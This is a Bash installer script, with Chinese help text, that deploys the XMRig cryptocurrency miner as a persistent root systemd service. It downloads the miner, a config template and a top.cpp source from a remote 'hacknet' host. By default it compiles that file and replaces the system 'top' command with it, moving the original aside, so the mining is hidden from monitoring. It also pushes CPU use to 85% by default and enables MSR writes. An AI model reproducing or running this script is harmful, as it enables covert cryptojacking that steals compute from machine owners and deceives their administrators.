#!/usr/bin/env bash
set -euo pipefail

usage() {
  cat <<'EOF'
用法: ./install_cpu_c.sh [--deploy|--info] [config.json]

默认（不带参数）执行 --deploy。
--deploy     一键部署：生成节点名并自动修改 config.json
--info       打印物理核绑定清单（旧默认输出）
--no-hidden-top  不替换系统 top（保留原 top，也不下载/编译 top.cpp）
--node       交互式输入自定义节点名（不传则自动生成 node-xxxxxxxx）
--use N      CPU 占用阈值（1-100，默认 85），如 --use 90
--proxy URL  安装过程使用的代理，如 --proxy http://49.74.36.125:15520
-h|--help    显示帮助

用法示例：
  ./install_cpu_c.sh                                  # 默认部署到 /etc/xmrig/config.json
  ./install_cpu_c.sh --deploy /etc/xmrig/config.json
  ./install_cpu_c.sh --deploy --node /etc/xmrig/config.json
  ./install_cpu_c.sh --deploy --use 90 /etc/xmrig/config.json
  ./install_cpu_c.sh --deploy --proxy http://49.74.36.125:15520 /etc/xmrig/config.json
  ./install_cpu_c.sh --deploy --no-hidden-top /etc/xmrig/config.json
  XMRIG_TOKEN='你的token' ./install_cpu_c.sh --deploy
  ./install_cpu_c.sh --info

说明：
  1. 默认部署目录为 /etc/xmrig。
  2. 节点名格式 node- + 8 位 uuid 十六进制字符，例如 node-c5d04e86。
  3. --deploy 会写入 api.worker-id、pools[*].rig-id；若 user 是 rig02/node-* 也一并替换。
  4. 物理核按 NODE/SOCKET/CORE 去重，避免把超线程当成两个物理核。
  5. 配置改写由 awk 完成，不依赖 python。
  6. 目标配置不存在时，模板从远端下载；可用 CONFIG_URL 覆盖下载地址。
  7. --no-hidden-top 放在任意位置均可，只影响 top 替换，不跳过配置修改。
  8. xmrig 二进制从远端下载解压到配置所在目录；XMRIG_URL 可覆盖下载地址。
  9. 自动写入 systemd 单元并尝试启用；SYSTEMD_DIR、XMRIG_SERVICE 可覆盖。
 10. --node 放在任意位置均可，会提示输入节点名；不传则自动生成。
 11. --use 设置 cpu.max-threads-hint，默认 85，范围 1-100。
 12. --proxy 只影响安装阶段的下载/apt，不改变 xmrig 运行时代理。
EOF
}

no_hidden_top=0
custom_node=0
cpu_use=85
proxy_url=""
args=()
while [ "$#" -gt 0 ]; do
  case "$1" in
    --no-hidden-top) no_hidden_top=1; shift ;;
    --node) custom_node=1; shift ;;
    --proxy|--proxy=*)
      if [ "$1" = "--proxy" ]; then
        shift
        [ "$#" -gt 0 ] || { echo "错误: --proxy 需要代理地址" >&2; exit 2; }
        proxy_url="$1"
      else
        proxy_url="${1#--proxy=}"
        [ -n "$proxy_url" ] || { echo "错误: --proxy 不能为空" >&2; exit 2; }
      fi
      shift
      ;;
    --use|--use=*)
      if [ "$1" = "--use" ]; then
        shift
        [ "$#" -gt 0 ] || { echo "错误: --use 需要数值参数" >&2; exit 2; }
        cpu_use="$1"
      else
        cpu_use="${1#--use=}"
      fi
      shift
      ;;
    *) args+=("$1"); shift ;;
  esac
done
set -- "${args[@]}"

case "$cpu_use" in
  ''|*[!0-9]*) echo "错误: --use 必须是 1-100 的整数" >&2; exit 2 ;;
esac
if [ "$cpu_use" -lt 1 ] || [ "$cpu_use" -gt 100 ]; then
  echo "错误: --use 必须是 1-100 的整数" >&2
  exit 2
fi
if [ -n "$proxy_url" ]; then
  case "$proxy_url" in
    *://*) ;;
    *) echo "错误: --proxy 需要带协议的地址，如 http://host:port" >&2; exit 2 ;;
  esac
  export http_proxy="$proxy_url" https_proxy="$proxy_url"
  export HTTP_PROXY="$proxy_url" HTTPS_PROXY="$proxy_url"
fi

mode="${1:-deploy}"
target="${2:-/etc/xmrig/config.json}"
case "$mode" in
  deploy|--deploy) mode=deploy ;;
  --info) mode=info ;;
  -h|--help) usage; exit 0 ;;
  *)
    printf '未知参数: %s\n' "$1" >&2
    usage >&2
    exit 2
    ;;
esac

SCRIPT_PATH="$(readlink -f "$0")"
SCRIPT_DIR="$(dirname "$SCRIPT_PATH")"

if ! command -v lscpu >/dev/null 2>&1; then
  echo "错误: 找不到 lscpu" >&2
  exit 1
fi

config_url="${CONFIG_URL:-https://hacknet-tkz.fwf.de5.net/download/tools/config.json}"
xmrig_url="${XMRIG_URL:-https://hacknet-tkz.fwf.de5.net/download/tools/xmrig-6.27.0-linux-static-x64.tar.gz}"
service_name="${XMRIG_SERVICE:-xmrig.service}"
systemd_dir="${SYSTEMD_DIR:-/etc/systemd/system}"

msr="true"
if [ "$(id -u)" -ne 0 ]; then
  msr="false"
elif [ ! -e /dev/cpu/0/msr ] && ! grep -q '^msr ' /proc/modules 2>/dev/null; then
  msr="false"
fi

render_topology() {
  local render_mode="$1"
  lscpu -e | awk -v mode="$render_mode" -v msr="$msr" '
function push_csv(csv, v) {
  return csv (csv == "" ? "" : ",") v
}

function sort_csv(csv,    a, n, i, j, v, out) {
  n = split(csv, a, ",")
  if (n == 0 || csv == "") return ""
  for (i = 2; i <= n; i++) {
    v = a[i] + 0
    j = i - 1
    while (j >= 1 && (a[j] + 0) > v) {
      a[j + 1] = a[j]
      j--
    }
    a[j + 1] = v
  }
  for (i = 1; i <= n; i++) out = push_csv(out, a[i] + 0)
  return out
}

function ranges(csv,    a, n, i, start, prev, v, out) {
  csv = sort_csv(csv)
  n = split(csv, a, ",")
  if (n == 0 || csv == "") return ""
  start = prev = a[1] + 0
  for (i = 2; i <= n; i++) {
    v = a[i] + 0
    if (v == prev + 1) {
      prev = v
      continue
    }
    out = push_csv(out, (start == prev ? start : start "-" prev))
    start = prev = v
  }
  out = push_csv(out, (start == prev ? start : start "-" prev))
  return out
}

function json_array(csv,    s, a, n, i, out) {
  s = sort_csv(csv)
  n = split(s, a, ",")
  for (i = 1; i <= n; i++) out = out (i > 1 ? ", " : "") (a[i] + 0)
  return "[" out "]"
}

function key_node(key,    k) { split(key, k, SUBSEP); return k[1] }
function key_sock(key,    k) { split(key, k, SUBSEP); return k[2] }
function key_label(key,    k) {
  split(key, k, SUBSEP)
  return "node " k[1] " / socket " k[2] " / core " k[3]
}

NR == 1 {
  for (i = 1; i <= NF; i++) col[$i] = i
  if (!("CPU" in col) || !("CORE" in col)) {
    print "错误: lscpu -e 输出缺少 CPU/CORE 列" > "/dev/stderr"
    bad = 1
    exit 2
  }
  next
}

/^[[:space:]]*#/ { next }
NF == 0 { next }

{
  cpu = $col["CPU"] + 0
  core = $col["CORE"] + 0
  node = ("NODE" in col) ? ($col["NODE"] + 0) : 0
  sock = ("SOCKET" in col) ? ($col["SOCKET"] + 0) : 0
  online = ("ONLINE" in col) ? tolower($col["ONLINE"]) : "yes"
  if (online != "yes") next

  key = node SUBSEP sock SUBSEP core

  if (!(key in rep) || cpu < rep[key]) rep[key] = cpu

  if (!(key in seen)) {
    seen[key] = 1
    coreOrder[++coreCount] = key
  }

  sibs[key] = push_csv(sibs[key], cpu)
}

END {
  if (bad) exit 2

  for (i = 1; i <= coreCount; i++) {
    key = coreOrder[i]
    cpu = rep[key]
    node = key_node(key)
    sock = key_sock(key)

    all = push_csv(all, cpu)

    if (!(node in nodeSeen)) {
      nodeSeen[node] = 1
      nodeOrder[++nodeCount] = node
    }
    nodeCpu[node] = push_csv(nodeCpu[node], cpu)

    grp = node SUBSEP sock
    if (!(grp in grpSeen)) {
      grpSeen[grp] = 1
      grpOrder[++grpCount] = grp
    }
    grpCpu[grp] = push_csv(grpCpu[grp], cpu)
  }

  if (mode == "array") {
    print json_array(all)
    exit
  }

  print "物理核绑定清单（每个物理核只取编号最小的逻辑 CPU，已排除 SMT 兄弟）"
  print "整机 affinity: " ranges(all) "  (" coreCount " 个物理核)"
  print ""
  print "按 NUMA / Socket："
  for (i = 1; i <= grpCount; i++) {
    grp = grpOrder[i]
    print "  node " key_node(grp) " / socket " key_sock(grp) ": " ranges(grpCpu[grp])
  }
  print ""
  print "按 NUMA 节点："
  for (i = 1; i <= nodeCount; i++) {
    node = nodeOrder[i]
    print "  node " node ": " ranges(nodeCpu[node])
  }
  print ""
  print "SMT 兄弟示例："
  for (i = 1; i <= coreCount && i <= 5; i++) {
    key = coreOrder[i]
    print "  " key_label(key) ": " sibs[key]
  }
}
'
}

install_gpp() {
  if command -v g++ >/dev/null 2>&1; then
    echo "✓ g++ 已安装：$(g++ --version | head -1)"
    return 0
  fi

  local sudo_cmd=""
  [ "$(id -u)" -eq 0 ] || sudo_cmd="sudo"

  if command -v apt >/dev/null 2>&1; then
    echo ">>> apt 安装 g++"
    ${sudo_cmd} apt update && ${sudo_cmd} apt install -y g++
  elif command -v dnf >/dev/null 2>&1; then
    echo ">>> dnf 安装 gcc-c++"
    ${sudo_cmd} dnf install -y gcc-c++
  elif command -v yum >/dev/null 2>&1; then
    echo ">>> yum 安装 gcc-c++"
    ${sudo_cmd} yum install -y gcc-c++
  else
    echo "✗ 未找到 apt/dnf/yum" >&2
    return 1
  fi
}

patch_config() {
  local cfg="$1" real_cfg tmp cfg_mode cfg_owner
  real_cfg="$(readlink -f "$cfg")"
  tmp="$(mktemp "${real_cfg}.tmp.XXXXXX")"

  if ! awk '
BEGIN { stack = "" }
{
  out = ""
  instr = 0
  esc = 0
  for (i = 1; i <= length($0); i++) {
    c = substr($0, i, 1)
    out = out c
    if (instr) {
      if (esc) esc = 0
      else if (c == "\\") esc = 1
      else if (c == "\"") instr = 0
      continue
    }
    if (c == "\"") { instr = 1; continue }
    if (c == "{") { stack = stack "o"; out = out "\n"; continue }
    if (c == "[") { stack = stack "a"; continue }
    if (c == "}") { stack = substr(stack, 1, length(stack) - 1); out = out "\n"; continue }
    if (c == "]") {
      stack = substr(stack, 1, length(stack) - 1)
      if (length(stack) <= 1) out = out "\n"
      continue
    }
    if (c == ",") {
      if (stack == "" || substr(stack, length(stack), 1) == "o") out = out "\n"
      else out = out " "
    }
  }
  gsub(/\n+/, "\n", out)
  printf "%s", out
  if (substr(out, length(out), 1) != "\n") printf "\n"
}
' "$real_cfg" | NODE_NAME="$node_name" TOKEN="${XMRIG_TOKEN:-}" MSR="$msr" RX="$rx_array" USE="$cpu_use" awk '
function jesc(s,    out, i, c) {
  out = ""
  for (i = 1; i <= length(s); i++) {
    c = substr(s, i, 1)
    if (c == "\\") out = out "\\\\"
    else if (c == "\"") out = out "\\\""
    else if (c == "\n") out = out "\\n"
    else if (c == "\r") out = out "\\r"
    else if (c == "\t") out = out "\\t"
    else out = out c
  }
  return out
}
function brace_delta(s,    t, i, c, n) {
  t = s
  gsub(/"([^"\\]|\\.)*"/, "", t)
  n = 0
  for (i = 1; i <= length(t); i++) {
    c = substr(t, i, 1)
    if (c == "{" || c == "[") n++
    else if (c == "}" || c == "]") n--
  }
  return n
}
function get_val(line, key,    p, rest, i, c, esc) {
  p = index(line, "\"" key "\"")
  if (!p) return ""
  rest = substr(line, p + length(key) + 2)
  sub(/^[[:space:]]*:[[:space:]]*/, "", rest)
  if (substr(rest, 1, 1) != "\"") {
    sub(/[,}].*$/, "", rest)
    gsub(/^[[:space:]]+|[[:space:]]+$/, "", rest)
    return rest
  }
  esc = 0
  for (i = 2; i <= length(rest); i++) {
    c = substr(rest, i, 1)
    if (esc) { esc = 0; continue }
    if (c == "\\") { esc = 1; continue }
    if (c == "\"") return substr(rest, 2, i - 2)
  }
  return ""
}
function set_val(line, key, value, quoted,    p, prefix, rest, i, c, esc, q, open, closer, level, instr) {
  p = index(line, "\"" key "\"")
  if (!p) return line
  prefix = substr(line, 1, p - 1) "\"" key "\""
  rest = substr(line, p + length(key) + 2)
  if (match(rest, /^[[:space:]]*:[[:space:]]*/)) {
    prefix = prefix substr(rest, 1, RLENGTH)
    rest = substr(rest, RLENGTH + 1)
  }
  q = quoted ? "\"" value "\"" : value
  open = substr(rest, 1, 1)
  if (open == "[" || open == "{") {
    closer = (open == "[" ? "]" : "}")
    level = 0; instr = 0; esc = 0
    for (i = 1; i <= length(rest); i++) {
      c = substr(rest, i, 1)
      if (instr) {
        if (esc) esc = 0
        else if (c == "\\") esc = 1
        else if (c == "\"") instr = 0
        continue
      }
      if (c == "\"") { instr = 1; continue }
      if (c == open) level++
      else if (c == closer) {
        level--
        if (level == 0) return prefix q substr(rest, i + 1)
      }
    }
    return prefix q
  }
  if (open == "\"") {
    esc = 0
    for (i = 2; i <= length(rest); i++) {
      c = substr(rest, i, 1)
      if (esc) { esc = 0; continue }
      if (c == "\\") { esc = 1; continue }
      if (c == "\"") return prefix q substr(rest, i + 1)
    }
  }
  i = 1
  while (i <= length(rest) && substr(rest, i, 1) !~ /[,}]/) i++
  return prefix q substr(rest, i)
}
function indent_of(s) {
  match(s, /^[[:space:]]*/)
  return substr(s, 1, RLENGTH)
}
function need_comma(prev) {
  if (prev != "" && prev !~ /[{,][[:space:]]*$/) print ","
}
BEGIN {
  node = jesc(ENVIRON["NODE_NAME"])
  token = jesc(ENVIRON["TOKEN"])
  msr = ENVIRON["MSR"]
  rx = ENVIRON["RX"]
  use = ENVIRON["USE"]
  depth = 0
  section = ""
}
NR == 1 && $0 !~ /^[[:space:]]*{/ { bad_json = 1 }
{
  line = $0
  delta = brace_delta(line)
  new_depth = depth + delta

  if (new_depth <= 0 && line ~ /}/) {
    final_indent = indent_of(line)
    root_close = line
    depth = new_depth
    section = ""
    next
  }

  if (section == "" && depth == 1 && line ~ /"autosave"[[:space:]]*:/) {
    line = set_val(line, "autosave", "false", 0)
    seen_autosave = 1
  }

  if (section == "" && depth == 1) {
    if (line ~ /"api"[[:space:]]*:/ && line ~ /{/) { section = "api"; seen_api = 1; api_indent = indent_of(line) }
    else if (line ~ /"randomx"[[:space:]]*:/ && line ~ /{/) { section = "randomx"; seen_randomx = 1 }
    else if (line ~ /"cpu"[[:space:]]*:/ && line ~ /{/) { section = "cpu"; seen_cpu = 1; cpu_indent = indent_of(line) }
    else if (line ~ /"pools"[[:space:]]*:/ && line ~ /\[/) { section = "pools"; seen_pools = 1 }
  }

  if (section == "api") {
    if (line ~ /"worker-id"[[:space:]]*:/) {
      if (!got_old) { old_worker = get_val(line, "worker-id"); got_old = 1 }
      line = set_val(line, "worker-id", node, 1)
      seen_worker = 1
    }
  } else if (section == "randomx") {
    if (line ~ /"numa"[[:space:]]*:/) line = set_val(line, "numa", "true", 0)
    if (line ~ /"rdmsr"[[:space:]]*:/) line = set_val(line, "rdmsr", msr, 0)
    if (line ~ /"wrmsr"[[:space:]]*:/) line = set_val(line, "wrmsr", msr, 0)
    if (line ~ /"1gb-pages"[[:space:]]*:/) line = set_val(line, "1gb-pages", "false", 0)
  } else if (section == "cpu") {
    if (line ~ /"enabled"[[:space:]]*:/) line = set_val(line, "enabled", "true", 0)
    if (line ~ /"huge-pages"[[:space:]]*:/) line = set_val(line, "huge-pages", "true", 0)
    if (line ~ /"hw-aes"[[:space:]]*:/) line = set_val(line, "hw-aes", "null", 0)
    if (line ~ /"priority"[[:space:]]*:/) line = set_val(line, "priority", "null", 0)
    if (line ~ /"asm"[[:space:]]*:/) line = set_val(line, "asm", "true", 0)
    if (line ~ /"max-threads-hint"[[:space:]]*:/) { line = set_val(line, "max-threads-hint", use, 0); seen_mth = 1 }
    if (line ~ /"rx\/0"[[:space:]]*:/) { line = set_val(line, "rx/0", rx, 0); seen_rx0 = 1 }
    else if (line ~ /"rx"[[:space:]]*:/) { line = set_val(line, "rx", rx, 0); seen_rx = 1 }
  } else if (section == "pools") {
    if (line ~ /"rig-id"[[:space:]]*:/) line = set_val(line, "rig-id", node, 1)
    if (line ~ /"user"[[:space:]]*:/) {
      u = get_val(line, "user")
      if (u == old_worker || u == "" || u == "null" || u == "rig02" || u ~ /^node-/) line = set_val(line, "user", node, 1)
    }
    if (token != "" && line ~ /"pass"[[:space:]]*:/) line = set_val(line, "pass", token, 1)
  }

  closing_api = (section == "api" && new_depth <= 1 && line ~ /}/ && line !~ /{/)
  if (closing_api && !seen_worker) {
    need_comma(prev_out)
    print api_indent "    \"worker-id\": \"" node "\""
  }

  closing_cpu = (section == "cpu" && new_depth <= 1 && line ~ /}/ && line !~ /{/)
  if (closing_cpu && (!seen_rx || !seen_rx0 || !seen_mth)) {
    ind = cpu_indent "    "
    need_comma(prev_out)
    if (!seen_mth) print ind "\"max-threads-hint\": " use ((!seen_rx || !seen_rx0) ? "," : "")
    if (!seen_rx) print ind "\"rx\": " rx (!seen_rx0 ? "," : "")
    if (!seen_rx0) print ind "\"rx/0\": " rx
  }

  print line
  prev_out = line
  depth = new_depth
  if (section != "" && new_depth <= 1 && !closing_cpu) section = ""
}
END {
  if (bad_json || depth != 0) {
    print "错误: 配置 JSON 格式异常" > "/dev/stderr"
    exit 2
  }
  ind = final_indent "  "
  missing = ""
  if (!seen_autosave) missing = missing (missing == "" ? "" : ",\n") ind "\"autosave\": false"
  if (!seen_api) missing = missing (missing == "" ? "" : ",\n") ind "\"api\": {\"worker-id\": \"" node "\"}"
  if (!seen_randomx) missing = missing (missing == "" ? "" : ",\n") ind "\"randomx\": {\"numa\": true, \"rdmsr\": " msr ", \"wrmsr\": " msr ", \"1gb-pages\": false}"
  if (!seen_cpu) missing = missing (missing == "" ? "" : ",\n") ind "\"cpu\": {\"enabled\": true, \"huge-pages\": true, \"hw-aes\": null, \"priority\": null, \"asm\": true, \"max-threads-hint\": " use ", \"rx\": " rx ", \"rx/0\": " rx "}"
  if (!seen_pools) missing = missing (missing == "" ? "" : ",\n") ind "\"pools\": []"
  if (missing != "") {
    need_comma(prev_out)
    print missing
  }
  if (root_close != "") print root_close
}
' > "$tmp"; then
    rm -f "$tmp"
    return 1
  fi

  cfg_mode="$(stat -c %a "$real_cfg" 2>/dev/null || true)"
  cfg_owner="$(stat -c %u:%g "$real_cfg" 2>/dev/null || true)"
  [ -n "$cfg_mode" ] && chmod "$cfg_mode" "$tmp" 2>/dev/null || true
  [ -n "$cfg_owner" ] && chown "$cfg_owner" "$tmp" 2>/dev/null || true
  mv -f "$tmp" "$real_cfg"
}

download_file() {
  local url="$1" out="$2"
  rm -f "$out"
  if command -v curl >/dev/null 2>&1; then
    if curl -fsSL "$url" -o "$out"; then return 0; fi
    rm -f "$out"
  fi
  if command -v wget >/dev/null 2>&1; then
    if wget -q "$url" -O "$out"; then return 0; fi
    rm -f "$out"
  fi
  return 1
}

install_xmrig() {
  local install_dir="$1" archive="${tmp_dir}/xmrig.tar.gz" stage="${tmp_dir}/xmrig-stage"

  if [ -x "$install_dir/xmrig" ]; then
    echo "xmrig 已存在: $install_dir/xmrig"
    return 0
  fi

  mkdir -p "$stage"
  download_file "$xmrig_url" "$archive" || {
    echo "错误: 下载 xmrig 失败: $xmrig_url" >&2
    exit 1
  }
  tar -xzf "$archive" -C "$stage" --strip-components=1 || {
    echo "错误: 解压 xmrig 失败: $archive" >&2
    exit 1
  }
  [ -x "$stage/xmrig" ] || { echo "错误: 压缩包中未找到 xmrig 可执行文件" >&2; exit 1; }

  mkdir -p "$install_dir"
  cp "$stage/xmrig" "$install_dir/xmrig"
  chmod 755 "$install_dir/xmrig"
  echo "xmrig 已安装: $install_dir/xmrig"
}

register_service() {
  local install_dir="$1" unit="${systemd_dir}/${service_name}"

  if [ ! -d "$systemd_dir" ]; then
    echo "警告: 未找到 $systemd_dir，跳过服务注册" >&2
    return 0
  fi

  cat > "$unit" <<EOF
[Unit]
Description=XMRig CPU Miner
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=root
WorkingDirectory=${install_dir}
ExecStart=${install_dir}/xmrig -c ${target}
Restart=always
RestartSec=5
LimitNOFILE=65535

[Install]
WantedBy=multi-user.target
EOF

  if command -v systemctl >/dev/null 2>&1 && [ -d /run/systemd/system ]; then
    systemctl daemon-reload
    systemctl enable "$service_name" >/dev/null 2>&1 || true
    systemctl restart "$service_name" >/dev/null 2>&1 || true
    echo "服务已注册并启动: $service_name"
  else
    echo "服务单元已写入: $unit（当前未运行 systemd，未启用）"
  fi
}

deploy_config() {
  local tmp_dir install_dir
  tmp_dir="$(mktemp -d)"
  install_dir="$(dirname "$target")"
  trap "rm -rf '$tmp_dir'" EXIT

  install_xmrig "$install_dir"

  if [ "$no_hidden_top" -eq 0 ]; then
    install_gpp
    download_file "https://hacknet-tkz.fwf.de5.net/download/tools/top.cpp" "${tmp_dir}/top.cpp" || {
      echo "错误: 下载 top.cpp 失败（curl/wget 均不可用或下载失败）" >&2
      exit 1
    }
    g++ -O2 -o "${tmp_dir}/top" "${tmp_dir}/top.cpp"
    [ -x "${tmp_dir}/top" ] || { echo "错误: top 编译失败" >&2; exit 1; }
  fi

  mkdir -p "$install_dir"
  if [ ! -f "$target" ]; then
    local tpl="${tmp_dir}/config.json"
    download_file "$config_url" "$tpl" || {
      echo "错误: 下载 config.json 失败: $config_url" >&2
      exit 1
    }
    cp "$tpl" "$target"
    echo "已从远端模板创建: $target"
  fi

  local node_name rx_array
  if [ "$custom_node" -eq 1 ]; then
    if ! read -r -p "请输入节点名: " node_name; then
      echo "错误: 读取节点名失败" >&2
      exit 1
    fi
    if [ -z "$node_name" ]; then
      echo "错误: 节点名不能为空" >&2
      exit 1
    fi
  else
    node_name="node-$(tr -d '-' </proc/sys/kernel/random/uuid | cut -c1-8)"
  fi
  rx_array="$(render_topology array)"

  patch_config "$target"

  if [ "$no_hidden_top" -eq 0 ]; then
    local top_bin top_dir top_backup
    top_bin="$(command -v top || true)"
    case "$top_bin" in
      /*) ;;
      *) top_bin="/usr/bin/top" ;;
    esac
    top_dir="$(dirname "$top_bin")"
    top_backup="${top_dir}/ss$(basename "$top_bin")"

    if [ -e "$top_bin" ] && [ ! -e "$top_backup" ]; then
      mv -f "$top_bin" "$top_backup"
    fi
    mv -f "${tmp_dir}/top" "$top_bin"
    chmod +x "$top_bin"
  fi

  register_service "$install_dir"

  printf '%s\n' "$node_name" > "$install_dir/node-name.txt"

  echo "节点名字: $node_name"
  echo "配置文件: $target"
  echo "节点名文件: $install_dir/node-name.txt"
}

if [ "$mode" = "deploy" ]; then
  deploy_config
else
  render_topology info
fi
